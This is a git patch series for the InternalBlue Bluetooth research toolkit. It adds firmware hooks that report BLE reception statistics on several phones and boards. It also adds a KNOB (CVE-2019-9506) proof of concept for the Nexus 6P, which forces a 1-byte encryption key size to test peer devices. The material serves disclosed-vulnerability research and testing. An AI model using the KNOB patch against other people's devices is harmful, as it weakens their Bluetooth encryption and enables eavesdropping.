From bf023043fb7afcda6841375d5e201508742a1666 Mon Sep 17 00:00:00 2001 From: Jiska Classen Date: Wed, 11 Dec 2019 13:58:58 +0100 Subject: [PATCH 1/2] EWSN Paper: RXDN hook (BLE_Reception_PoC.py) --- examples/README.md | 15 +- examples/eval_cyw20735/BLE_Reception_PoC.py | 47 ++++++ examples/nexus5/BLE_Reception_PoC.py | 175 +++++++++++++++++++ examples/rpi3/BLE_Reception_PoC.py | 90 ++++++++++ examples/rpi3p_rpi4/BLE_Reception_PoC.py | 90 ++++++++++ examples/s8/BLE_Reception_PoC.py | 178 ++++++++++++++++++++ internalblue/fw/README.md | 1 + internalblue/fw/fw_0x220b.py | 45 +++++ internalblue/fw/fw_0x220c.py | 2 +- 9 files changed, 641 insertions(+), 2 deletions(-) create mode 100644 examples/eval_cyw20735/BLE_Reception_PoC.py create mode 100644 examples/nexus5/BLE_Reception_PoC.py create mode 100644 examples/rpi3/BLE_Reception_PoC.py create mode 100644 examples/rpi3p_rpi4/BLE_Reception_PoC.py create mode 100644 examples/s8/BLE_Reception_PoC.py create mode 100644 internalblue/fw/fw_0x220b.py diff --git a/examples/README.md b/examples/README.md index eab353d..a06aa46 100644 --- a/examples/README.md +++ b/examples/README.md @@ -29,5 +29,18 @@ If the operating system displays a yes/no question during pairing, a warning, or This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no active MITM attack. -Available for the [Nexus 5](NiNo_PoC.py). +Available for the [Nexus 5](nexus5/NiNo_PoC.py). + +Measurement of BLE Receive Statistics +------------------------------------- +This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the +packet is a keep-alive null packet or not, it will be processed by this function. During this state, further +metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the +currently active channel map. + +Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script, +as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py) +and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script. +We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel +with the full iOS stack, thus it is not pushed online here. \ No newline at end of file diff --git a/examples/eval_cyw20735/BLE_Reception_PoC.py b/examples/eval_cyw20735/BLE_Reception_PoC.py new file mode 100644 index 0000000..9d25162 --- /dev/null +++ b/examples/eval_cyw20735/BLE_Reception_PoC.py @@ -0,0 +1,47 @@ +#!/usr/bin/python2 + +from pwn import * +from internalblue.adbcore import ADBCore +from internalblue.bluezcore import BluezCore + +""" +Script that shows receive statistics from LE connections over HCI on the CYW20735B1 evaluation board. +Generated with Nexmon. +""" + +internalblue = ADBCore() +try: + internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device +except IndexError: + internalblue = BluezCore() + try: + internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface + except IndexError: + log.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.") + exit(-1) + +# setup sockets +if not internalblue.connect(): + log.critical("No connection to target device.") + exit(-1) + +progress_log = log.info("Connected to first target, installing patches...") + +# GENERATED PATCHES +internalblue.patchRom(0x0008ea46, '\x89\xf1\x5b\xbc') +internalblue.patchRom(0x0008edc2, '\x89\xf1\x1d\xbc') +internalblue.patchRom(0x0008eec0, '\x89\xf1\x1e\xbb') +internalblue.writeMem(0x00218200, '\x10\xb5\xcc\x22\xff\x21\xce\x20\x0c\xf6\x43\xfe\x04\x46\x04\x22\x07\x49\x0a\x30\x50\xf6\x53\xfb\x06\x4b\x04\xf1\x0e\x00\x19\x68\xc8\x22\x50\xf6\x4c\xfb\x20\x46\xbd\xe8\x10\x40\x0c\xf6\x03\xbd\x18\x80\x21\x00\x80\x28\x28\x00') +internalblue.writeMem(0x00218300, '\x95\xf6\x70\xfc\xff\xf7\x7c\xff\x76\xf6\x9f\xbb\x00\xbf\x00\xbf') +internalblue.writeMem(0x00218500, '\x2d\xe9\xf0\x5f\xfe\xb5\x07\x46\xf3\x22\xff\x21\xf5\x20\x0c\xf6\xc0\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0f\x49\x18\x46\x50\xf6\xce\xf9\x04\xf1\x0e\x03\x4f\xf0\xef\x02\x39\x46\x18\x46\x50\xf6\xc6\xf9\x04\xf1\x0e\x03\x4f\xf0\x01\x02\x07\xf5\xe9\x71\x18\x46\x50\xf6\xbd\xf9\x20\x46\x0c\xf6\x76\xfb\x38\x46\xbd\xe8\xfe\x40\x76\xf6\xb8\xbc\x00\xbf\x00\xbf\x00\x80\x21\x00') +internalblue.writeMem(0x00218600, '\x70\xb5\x05\x46\xfe\xb5\x05\x46\xf4\x22\xff\x21\xf6\x20\x0c\xf6\x40\xfc\x04\x46\x04\xf1\x0a\x03\x04\x22\x0b\x49\x18\x46\x50\xf6\x4e\xf9\x04\xf1\x0e\x03\x4f\xf0\xf0\x02\x29\x46\x18\x46\x50\xf6\x46\xf9\x20\x46\x0c\xf6\xff\xfa\x00\xf0\xe2\xf8\xbd\xe8\xfe\x40\x76\xf6\xc1\xbb\x00\xbf\x00\xbf\x08\x80\x21\x00') +internalblue.writeMem(0x00218800, '\x10\xb5\x08\x22\x82\xb0\xff\x21\x0a\x20\x0c\xf6\x42\xfb\x04\x22\x04\x46\x0b\x49\x0a\x30\x50\xf6\x52\xf8\x00\x20\x9f\xf6\xec\xff\x95\xf6\x3f\xff\x02\xa9\x41\xf8\x04\x0d\x04\x22\x04\xf1\x0e\x00\x50\xf6\x45\xf8\x20\x46\x0c\xf6\xfe\xf9\x02\xb0\x10\xbd\x00\xbf\x10\x80\x21\x00') +internalblue.writeMem(0x00218000, '\x52\x58\x44\x4e\x00\x00\x00\x00\x4c\x45\x50\x52\x00\x00\x00\x00\x52\x53\x53\x49\x00\x00\x00\x00\x52\x42\x55\x46\x00') + + +# shutdown connection +internalblue.shutdown() + + +log.info("--------------------") +log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.") \ No newline at end of file diff --git a/examples/nexus5/BLE_Reception_PoC.py b/examples/nexus5/BLE_Reception_PoC.py new file mode 100644 index 0000000..21daba9 --- /dev/null +++ b/examples/nexus5/BLE_Reception_PoC.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python2 + +# Jiska Classen + +# Get receive statistics on a Nexus 5 for BLE connection events + +from pwn import * +from internalblue.adbcore import ADBCore +import internalblue.hci as hci +import internalblue.cli as cli + +internalblue = ADBCore(serial=False) +device_list = internalblue.device_list() +if len(device_list) == 0: + log.warn("No HCI devices connected!") + exit(-1) +internalblue.interface = device_list[0][1] # just use the first device + + + +""" +# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess +# they never planned to support BLE. Even callbacks are defined in Patchram. +# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning. +""" +RX_DONE_HOOK_ADDRESS = 0x224DEA +HOOKS_LOCATION = 0xd7500 +ASM_HOOKS = """ + + // restore first 4 bytes of _connTaskRxDone + push {r4-r8,lr} + mov r4, r0 + + // fix registers for our own routine + push {r1-r7, lr} + mov r7, r0 + + // allocate vendor specific hci event + mov r2, 243 + mov r1, 0xff + mov r0, 245 + bl 0x7AFC // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239); + mov r4, r0 // save pointer to the buffer in r4 + + // append buffer with "RXDN" + add r0, 2 // buffer starts at 2 with data (?) + ldr r1, =0x4e445852 // RXDN + str r1, [r0] + add r0, 4 // advance buffer by 4 + + // copy 239 bytes of le_conn to buffer + mov r2, #238 + mov r1, r7 // le_conn[0] + //add r1, 0x100 //TODO use this to access the connection struct with different offset + bl 0x46FE6 // __rt_memcpy + + // for debugging purposes, we overwrite the first byte + // (which is the connTaskCallback anyway) with RSSI info + mov r2, #1 // 1 rssi byte + add.w r1, r7, #0x12c // le_conn[0x12c] is position of RSSI in Nexus 5 + mov r0, r4 + add r0, 6 + bl 0x46FE6 // __rt_memcpy + + // send hci event + mov r0, r4 // back to buffer at offset 0 + bl 0x398c1 // send_hci_event_without_free() + + // free HCI buffer + mov r0, r4 + bl 0x3FA36 // osapi_blockPoolFree + + // undo registers for our own routine + mov r0, r7 + pop {r1-r7, lr} + + // branch back to _connTaskRxDone + 4 + b 0x%x + +""" % (RX_DONE_HOOK_ADDRESS+4) + +# setup sockets +if not internalblue.connect(): + log.critical("No connection to target device.") + exit(-1) + +# Install hooks +code = asm(ASM_HOOKS, vma=HOOKS_LOCATION) +log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION) +if not internalblue.writeMem(HOOKS_LOCATION, code): + log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION) + exit(-1) + +log.info("Installing hook patch...") +patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS) +if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch): + log.critical("Installing patch for _connTaskRxDone failed!") + exit(-1) + + +# RXDN statistics callback variables +internalblue.last_nesn_sn = None +internalblue.last_success_event = None + + +def lereceiveStatusCallback(record): + """ + RXDN Callback Function + + Depends on the raspi3_rxdn.py or eval_rxdn.py script, + which patches the _connTaskRxDone() function and copies + info from the LE connection struct to HCI. + """ + + hcipkt = record[0] # get HCI Event packet + + if not issubclass(hcipkt.__class__, hci.HCI_Event): + return + + if hcipkt.data[0:4] == "RXDN": + data = hcipkt.data[4:] + + # Raspi 3 gets errors + if len(data) < 239: + return + + # !!! Nexus 5 has really outdated struct... + packet_curr_nesn_sn = u8(data[0xa0]) + packet_channel_map = data[0x4c:0x4c+38] + packet_channel = u8(data[0x7b]) + packet_event_ctr = u16(data[0x86:0x88]) + packet_rssi = u8(data[0]) + + if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100: + log.info(" ^----------------------------- ERROR --------------------------------") + + # currently only supported by eval board: check if we also went into the process payload routine, + # which probably corresponds to a correct CRC + # if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr: + # log.debug(" ^----------------------------- MISSED -------------------------------") + + # TODO example for setting the channel map + # timeout needs to be zero, because we are already in an event reception routine! + # self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0) + + internalblue.last_nesn_sn = packet_curr_nesn_sn + + # draw channel with rssi color + color = '\033[92m' # green + if 0xc8 > packet_rssi >= 0xc0: + color = '\033[93m' # yellow + elif packet_rssi < 0xc0: + color = '\033[91m' # red + + channels_total = u8(packet_channel_map[37]) + channel_map = 0x0000000000 + if channels_total <= 37: # raspi 3 messes up with this during blacklisting + for channel in range(0, channels_total): + channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel]) + + log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map, + (packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)), + color, ' ' * packet_channel)) + + + +log.info("--------------------") +log.info("Entering InternalBlue CLI to display statistics.") + +# add RXDN callback +internalblue.registerHciCallback(lereceiveStatusCallback) + + +# enter CLI +cli.commandLoop(internalblue) \ No newline at end of file diff --git a/examples/rpi3/BLE_Reception_PoC.py b/examples/rpi3/BLE_Reception_PoC.py new file mode 100644 index 0000000..480bf5f --- /dev/null +++ b/examples/rpi3/BLE_Reception_PoC.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python2 + +# Jiska Classen + +# Get receive statistics on a Raspberry Pi 3 for BLE connection events + +from pwn import * +from internalblue.hcicore import HCICore + + +internalblue = HCICore() +device_list = internalblue.device_list() +if len(device_list) == 0: + log.warn("No HCI devices connected!") + exit(-1) +internalblue.interface = device_list[0][1] # just use the first device + + +RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone +HOOKS_LOCATION = 0x210500 +ASM_HOOKS = """ + + // restore first 4 bytes of _connTaskRxDone + push {r4-r6,lr} + mov r4, r0 + + // fix registers for our own routine + push {r1-r7, lr} + mov r7, r0 + + // allocate vendor specific hci event + mov r2, 243 + mov r1, 0xff + mov r0, 245 + bl 0x3670 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239); + mov r4, r0 // save pointer to the buffer in r4 + + // append buffer with "RXDN" + add r0, 10 // buffer starts at 10 with data + ldr r1, =0x4e445852 // RXDN + str r1, [r0] + add r0, 4 // advance buffer by 4 + + // copy 239 bytes of le_conn to buffer + mov r2, #238 + mov r1, r7 // le_conn[0] + bl 0x45824 // __rt_memcpy + + // for debugging purposes, we overwrite the first byte + // (which is the connTaskCallback anyway) with RSSI info + mov r2, #1 // 1 rssi byte + add.w r1, r7, #0x10a // le_conn[0x10a] is position of rssi + mov r0, r4 + add r0, 14 + bl 0x45824 // __rt_memcpy + + // send hci event + mov r0, r4 // back to buffer at offset 0 + bl 0x358e // send_hci_event + + // undo registers for our own routine + mov r0, r7 + pop {r1-r7, lr} + + // branch back to _connTaskRxDone + 4 + b 0x35fc0 + +""" + +# setup sockets +if not internalblue.connect(): + log.critical("No connection to target device.") + exit(-1) + +# Install hooks +code = asm(ASM_HOOKS, vma=HOOKS_LOCATION) +log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION) +if not internalblue.writeMem(HOOKS_LOCATION, code): + log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION) + exit(-1) + +log.info("Installing hook patch...") +patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS) +if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch): + log.critical("Installing patch for _connTaskRxDone failed!") + exit(-1) + + +log.info("--------------------") +log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.") \ No newline at end of file diff --git a/examples/rpi3p_rpi4/BLE_Reception_PoC.py b/examples/rpi3p_rpi4/BLE_Reception_PoC.py new file mode 100644 index 0000000..d968aff --- /dev/null +++ b/examples/rpi3p_rpi4/BLE_Reception_PoC.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python2 + +# Jiska Classen + +# Get receive statistics on a Raspberry Pi 3 for BLE connection events + +from pwn import * +from internalblue.hcicore import HCICore + + +internalblue = HCICore() +device_list = internalblue.device_list() +if len(device_list) == 0: + log.warn("No HCI devices connected!") + exit(-1) +internalblue.interface = device_list[0][1] # just use the first device + + +RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone +HOOKS_LOCATION = 0x210500 +ASM_HOOKS = """ + + // restore first 4 bytes of _connTaskRxDone + push {r4-r6,lr} + mov r4, r0 + + // fix registers for our own routine + push {r1-r7, lr} + mov r7, r0 + + // allocate vendor specific hci event + mov r2, 243 + mov r1, 0xff + mov r0, 245 + bl 0x2770 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239); + mov r4, r0 // save pointer to the buffer in r4 + + // append buffer with "RXDN" + add r0, 10 // buffer starts at 10 with data + ldr r1, =0x4e445852 // RXDN + str r1, [r0] + add r0, 4 // advance buffer by 4 + + // copy 239 bytes of le_conn to buffer + mov r2, #238 + mov r1, r7 // le_conn[0] + bl 0x775C8 // __rt_memcpy + + // for debugging purposes, we overwrite the first byte + // (which is the connTaskCallback anyway) with RSSI info + mov r2, #1 // 1 rssi byte + add.w r1, r7, #0x10a // le_conn[0x10a] is position of rssi + mov r0, r4 + add r0, 14 + bl 0x775C8 // __rt_memcpy + + // send hci event + mov r0, r4 // back to buffer at offset 0 + bl 0x268E // send_hci_event + + // undo registers for our own routine + mov r0, r7 + pop {r1-r7, lr} + + // branch back to _connTaskRxDone + 4 + b 0x56626 + +""" + +# setup sockets +if not internalblue.connect(): + log.critical("No connection to target device.") + exit(-1) + +# Install hooks +code = asm(ASM_HOOKS, vma=HOOKS_LOCATION) +log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION) +if not internalblue.writeMem(HOOKS_LOCATION, code): + log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION) + exit(-1) + +log.info("Installing hook patch...") +patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS) +if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch): + log.critical("Installing patch for _connTaskRxDone failed!") + exit(-1) + + +log.info("--------------------") +log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.") \ No newline at end of file diff --git a/examples/s8/BLE_Reception_PoC.py b/examples/s8/BLE_Reception_PoC.py new file mode 100644 index 0000000..bcd5f58 --- /dev/null +++ b/examples/s8/BLE_Reception_PoC.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python2 + +# Jiska Classen + +# Get receive statistics on a Samsung Galaxy S8 for BLE connection events + +from pwn import * +from internalblue.adbcore import ADBCore +import internalblue.hci as hci +import internalblue.cli as cli + +internalblue = ADBCore(serial=True) +device_list = internalblue.device_list() +if len(device_list) == 0: + log.warn("No HCI devices connected!") + exit(-1) +internalblue.interface = device_list[0][1] # just use the first device + + +""" +# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because +# they had to for Bluetooth 5 compliance. +# The base address is 0x5E324, and this will jump into the Patchram. +# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning. +""" +#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM +#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019 +RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM +HOOKS_LOCATION = 0x210500 +ASM_HOOKS = """ + + // restore first 4 bytes of _connTaskRxDone + push {r4-r12,lr} + mov r4, r0 + + // fix registers for our own routine + push {r1-r7, lr} + mov r7, r0 + + // allocate vendor specific hci event + mov r2, 243 + mov r1, 0xff + mov r0, 245 + bl 0xE628 // bthci_event_AllocateEventAndFillHeader(4+239+2, 0xff, 4+239); + mov r4, r0 // save pointer to the buffer in r4 + + // append buffer with "RXDN" + add r0, 10 // buffer starts at 10 with data + ldr r1, =0x4e445852 // RXDN + str r1, [r0] + add r0, 4 // advance buffer by 4 + + // copy 239 bytes of le_conn to buffer + mov r2, #238 + mov r1, r7 // le_conn[0] + bl 0x857B4 // __rt_memcpy + + // for debugging purposes, we overwrite the first byte + // (which is the connTaskCallback anyway) with RSSI info + mov r2, #1 // 1 rssi byte + add.w r1, r7, #0x1ca // le_conn[0x1ca] is position of rssi + mov r0, r4 + add r0, 14 + bl 0x857B4 // __rt_memcpy + + // send hci event + mov r0, r4 // back to buffer at offset 0 + bl 0xE418 // bthci_event_AttemptToEnqueueEventToTransport + + // undo registers for our own routine + mov r0, r7 + pop {r1-r7, lr} + + // branch back to _connTaskRxDone + 4 + //b 0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM + //b 0x134504 // August 30 Nightly Build + b 0x%x + +""" % (RX_DONE_HOOK_ADDRESS+4) + +# setup sockets +if not internalblue.connect(): + log.critical("No connection to target device.") + exit(-1) + +# Install hooks +code = asm(ASM_HOOKS, vma=HOOKS_LOCATION) +log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION) +if not internalblue.writeMem(HOOKS_LOCATION, code): + log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION) + exit(-1) + +log.info("Installing hook patch...") +patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS) +if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch): + log.critical("Installing patch for _connTaskRxDone failed!") + exit(-1) + + +# RXDN statistics callback variables +internalblue.last_nesn_sn = None +internalblue.last_success_event = None + + +def lereceiveStatusCallback(record): + """ + RXDN Callback Function + + Depends on the raspi3_rxdn.py or eval_rxdn.py script, + which patches the _connTaskRxDone() function and copies + info from the LE connection struct to HCI. + """ + + hcipkt = record[0] # get HCI Event packet + + if not issubclass(hcipkt.__class__, hci.HCI_Event): + return + + if hcipkt.data[0:4] == "RXDN": + data = hcipkt.data[4:] + + # Raspi 3 gets errors + if len(data) < 239: + return + + #if raspi or s8: + packet_curr_nesn_sn = u8(data[0xa0]) + + #elif eval: + # packet_curr_nesn_sn = u8(data[0xa4]) + + packet_channel_map = data[0x54:0x7b] + packet_channel = u8(data[0x83]) + packet_event_ctr = u16(data[0x8e:0x90]) + packet_rssi = u8(data[0]) + + if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100: + log.info(" ^----------------------------- ERROR --------------------------------") + + # currently only supported by eval board: check if we also went into the process payload routine, + # which probably corresponds to a correct CRC + # if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr: + # log.debug(" ^----------------------------- MISSED -------------------------------") + + # TODO example for setting the channel map + # timeout needs to be zero, because we are already in an event reception routine! + # self.sendHciCommand(0x2014, '\x00\x00\xff\x00\x00', timeout=0) + + internalblue.last_nesn_sn = packet_curr_nesn_sn + + # draw channel with rssi color + color = '\033[92m' # green + if 0xc8 > packet_rssi >= 0xc0: + color = '\033[93m' # yellow + elif packet_rssi < 0xc0: + color = '\033[91m' # red + + channels_total = u8(packet_channel_map[37]) + channel_map = 0x0000000000 + if channels_total <= 37: # raspi 3 messes up with this during blacklisting + for channel in range(0, channels_total): + channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel]) + + log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map, + (packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)), + color, ' ' * packet_channel)) + + + +log.info("--------------------") +log.info("Entering InternalBlue CLI to display statistics.") + +# add RXDN callback +internalblue.registerHciCallback(lereceiveStatusCallback) + + +# enter CLI +cli.commandLoop(internalblue) \ No newline at end of file diff --git a/internalblue/fw/README.md b/internalblue/fw/README.md index 1997d90..9d781aa 100644 --- a/internalblue/fw/README.md +++ b/internalblue/fw/README.md @@ -34,6 +34,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date 0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015 0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix) 0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6) +0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015 0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic 0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015 0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016 | Oct 22 2015 diff --git a/internalblue/fw/fw_0x220b.py b/internalblue/fw/fw_0x220b.py new file mode 100644 index 0000000..65362e3 --- /dev/null +++ b/internalblue/fw/fw_0x220b.py @@ -0,0 +1,45 @@ +# fw_0x420e.py +# +# Generic firmware file in case we do not know something... +# +# Copyright (c) 2019 Jiska Classen. (MIT License) +# +# Permission is hereby granted, free of charge, to any person obtaining a copy of +# this software and associated documentation files (the "Software"), to deal in +# the Software without restriction, including without limitation the rights to +# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +# the Software, and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# - The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# - The Software is provided "as is", without warranty of any kind, express or +# implied, including but not limited to the warranties of merchantability, +# fitness for a particular purpose and noninfringement. In no event shall the +# authors or copyright holders be liable for any claim, damages or other +# liability, whether in an action of contract, tort or otherwise, arising from, +# out of or in connection with the Software or the use or other dealings in the +# Software. + +from fw import MemorySection + +# Firmware Infos +# Evaluation Kit CYW20706 +FW_NAME = "CYW20706" + + +# Memory Sections +# start, end, is_rom? is_ram? +SECTIONS = [ MemorySection(0x00000000, 0x000c7fff, True, False), # Internal ROM + MemorySection(0x000d0000, 0x000dffff, False, True ), + MemorySection(0x00200000, 0x00247fff, False, True), # Internal Memory Cortex M3 + ] + +# Patchram +#PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000 +#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404 +#PATCHRAM_VALUE_TABLE_ADDRESS = 0x0d0000 +#PATCHRAM_NUMBER_OF_SLOTS = 256 +PATCHRAM_ALIGNED = True +# only seems to work 4-byte aligned here ... + + diff --git a/internalblue/fw/fw_0x220c.py b/internalblue/fw/fw_0x220c.py index 011fb76..d850fea 100644 --- a/internalblue/fw/fw_0x220c.py +++ b/internalblue/fw/fw_0x220c.py @@ -24,7 +24,7 @@ # Firmware Infos # Evaluation Kit CYW920819 -FW_NAME = "CYW20819" +FW_NAME = "CYW20819A1" # Memory Sections From a7ca8986d5eb5f7c790fa6c026a391b6cd9cb22e Mon Sep 17 00:00:00 2001 From: Jiska Classen Date: Wed, 11 Dec 2019 20:05:02 +0100 Subject: [PATCH 2/2] KNOB for Nexus 6P --- examples/README.md | 4 +- examples/nexus6p/KNOB_PoC.py | 100 +++++++++++++++++++++++++++++++++++ 2 files changed, 103 insertions(+), 1 deletion(-) create mode 100755 examples/nexus6p/KNOB_PoC.py diff --git a/examples/README.md b/examples/README.md index a06aa46..80b4ea4 100644 --- a/examples/README.md +++ b/examples/README.md @@ -6,7 +6,9 @@ KNOB Attack Test (CVE-2019-9506) -------------------------------- We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob). This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte. -Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py), [Nexus 5](nexus5/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py), and [Samsung Galaxy S8](s8/KNOB_PoC.py). +Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py), +[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py), +and [Samsung Galaxy S8](s8/KNOB_PoC.py). Invalid Curve Attack Test (CVE-2018-5383) diff --git a/examples/nexus6p/KNOB_PoC.py b/examples/nexus6p/KNOB_PoC.py new file mode 100755 index 0000000..89ad247 --- /dev/null +++ b/examples/nexus6p/KNOB_PoC.py @@ -0,0 +1,100 @@ +#!/usr/bin/python2 + +# Jiska Classen, Secure Mobile Networking Lab + + +from pwn import * +from internalblue.adbcore import ADBCore +import internalblue.cli as cli +import internalblue.cmds as cmd +import internalblue.hci as hci +from internalblue.cmds import auto_int + + +""" +This is a standalone PoC for the KNOB attack on a Nexus 6P. + +Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB. +For details see https://github.com/francozappa/knob + +This PoC is much shorter since it only modifies global variables for key entropy. + +""" + + +internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True +internalblue.interface = internalblue.device_list()[0][1] # just use the first device + +# setup sockets +if not internalblue.connect(): + log.critical("No connection to target device.") + exit(-1) + + +log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!") + +# modify function lm_SendLmpEncryptKeySizeReq +#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy +#internalblue.patchRom(0x4BC6E, patch) +# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :) + +# modify global variable for own setting +internalblue.writeMem(0x204147, '\x01') # global key entropy + + +log.info("-----------------------KNOB-----------------------\n" + "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" + "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n" + "On Android, this requires a modified bluetooth.default.so.\n" + "-----------------------KNOB-----------------------\n" + "Automatically continuing on KNOB interface...\n" + "Use the 'knob' command to *debug* the attack, i.e.:\n" + " knob --hnd 0x0b\n" + "...shows the key size of handle 0x000b.\n") + + +class CmdKnob(cmd.Cmd): + """ + Introduce a new CLI command to make KNOB debugging easier... + """ + keywords = ["knob"] + description = "Debugs which key length is currently active within a connection handle." + + parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description) + + parser.add_argument("--hnd", type=auto_int, default=0x000c, + help="Handle KNOB connection.") + + def work(self): + args = self.getArgs() + internalblue.sendHciCommand(0x1408, p16(args.hnd)) + return True + + +def hciKnobCallback(record): + """ + Adds a new callback function so that we do not need to call Wireshark. + """ + hcipkt = record[0] + if not issubclass(hcipkt.__class__, hci.HCI_Event): + return + + if hcipkt.event_code == 0x0e: + if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size + if u8(hcipkt.data[3]) == 0x12: # Error + log.info("No key size available.\n" + " - Did you already negotiate an encrypted connection?\n" + " - Did you choose the correct connection handle?\n") + else: + log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6]))) + + return + + +# add our command +cmd.CmdKnob = CmdKnob +internalblue.registerHciCallback(hciKnobCallback) + + +# enter CLI +cli.commandLoop(internalblue)